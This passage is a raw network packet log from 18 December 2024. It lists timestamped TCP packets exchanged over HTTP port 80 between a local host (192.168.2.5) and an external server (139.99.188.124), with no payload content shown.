Dec 18, 2024 09:13:21.464374065 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.464443922 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.464456081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.466995001 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.467048883 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.467082024 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.469603062 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.469691038 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.469711065 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.472248077 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.472340107 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.472374916 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.474880934 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.474952936 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.474984884 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.477505922 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.477591991 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.477612972 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.480191946 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.480315924 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.480340004 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.482809067 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.482861042 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.482897043 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.485373974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.485430956 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.485496044 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.488001108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.488054991 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.488154888 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.490636110 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.490683079 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.490756989 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.493273973 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.493319988 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.493356943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.495906115 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.495948076 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.496218920 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.498564005 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.498675108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.498708963 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.501194000 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.501245022 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.501269102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.503799915 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.503895044 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.503987074 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.506422043 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.506480932 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.506525993 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.509037971 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.509100914 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.509195089 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.511677980 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.511779070 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.511796951 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.514336109 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.514415026 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.514560938 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.517000914 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.517045021 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.517077923 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.519558907 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.519675970 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.519752026 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.522161961 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.522357941 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.546623945 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.546782970 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.546895981 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.602793932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.602853060 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.603003979 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.603369951 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.603507996 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.603652954 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.604248047 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.604371071 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.604438066 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.605398893 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.605611086 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.606158018 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.606558084 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.606677055 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.606770039 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.607742071 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.607850075 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.607902050 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.608922958 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.609081030 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.609230995 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.610102892 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.610214949 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.610276937 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.611269951 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.611371994 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.611493111 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.612479925 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.612580061 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.612641096 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.613650084 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.613750935 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.613954067 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.614815950 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.614881039 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.614942074 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.615950108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.616168976 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.616420031 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.617166996 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.617233038 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.617306948 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.618259907 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.618352890 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.618412971 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.619436026 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.619514942 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.619659901 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.620526075 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.620615959 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.620827913 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.621692896 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.621794939 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.622350931 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.622829914 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.622934103 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.623004913 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.623977900 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.624094009 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.624141932 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.625111103 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.625227928 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.625297070 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.626269102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.626403093 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.626457930 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.627396107 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.627511024 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.627686024 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.628495932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.628603935 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.628778934 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.629653931 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.629847050 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.630002022 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.630753040 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.630857944 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.631345034 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.631882906 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.631983042 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.632086992 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.633008003 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.633127928 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.633210897 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.634144068 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.634325027 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.634382010 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.635350943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.635416031 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.635559082 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.636434078 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.636603117 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.636773109 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.637505054 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.637615919 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.637666941 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.638653040 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.638816118 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.638904095 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.639770031 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.639919043 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.640580893 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.640825033 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.640918970 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.641138077 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.641942024 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.642049074 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.642122030 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.642843008 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.642968893 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.643134117 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.643769979 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.643860102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.644159079 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.644674063 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.644757986 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.645255089 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.645598888 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.645685911 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.645900965 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.646545887 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.646770954 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.646887064 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.647449970 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.647579908 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.647669077 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.648402929 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.648468018 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.648644924 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.649298906 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.649440050 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.649830103 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.650249004 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.650348902 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.650763988 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.651128054 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.651236057 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.651395082 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.652050018 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.652172089 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.652508974 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.652978897 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.653100967 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.653971910 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.654066086 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.654216051 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.654805899 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.655039072 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.655744076 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.655769110 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.655800104 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.656014919 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.656647921 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.656764984 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.656841040 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.657557964 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.657651901 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.657773972 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.658483028 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.658570051 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.658660889 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.794331074 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.794415951 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.794508934 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.794692993 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.794805050 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.794922113 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.795592070 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.795706034 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.795763969 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.796430111 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.796621084 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.796684027 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.797290087 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.797427893 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.797549963 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.798154116 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.798304081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.798369884 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.799031019 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.799132109 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.799225092 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.799906969 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.800005913 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.800065041 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.800755978 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.800885916 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.800971031 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.801646948 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.801759958 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.801816940 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.802495003 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.802519083 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.802578926 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.803354979 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.803472042 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.803531885 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.804233074 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.804367065 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.804421902 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.805119038 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.805242062 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.805309057 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.805993080 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.806101084 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.806154013 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.806845903 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.806982040 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.807570934 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.807693005 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.807804108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.807905912 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.808542967 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.808634043 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.808865070 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.809427977 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.809556007 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.809616089 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.810296059 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.810410023 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.810467005 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.811217070 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.811412096 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.811472893 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.812077045 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.812141895 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.812247038 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.812907934 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.813107014 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.813163996 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.813817024 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.813896894 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.813955069 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.814682961 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.814707041 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.814763069 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.815509081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.815665960 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.815721035 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.816365957 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.816485882 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.816540956 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.817225933 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.817357063 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.817420006 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.818100929 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.818206072 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.818336010 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.819031000 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.819116116 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.819175005 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.819850922 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.819962025 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.820020914 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.820689917 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.820766926 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.820828915 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.821619034 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.821743011 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.821800947 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.822457075 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.822561026 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.822802067 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.823296070 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.823508978 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.823576927 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.824191093 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.824351072 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.824479103 CET	49729	80	192.168.2.5	139.99.188.124
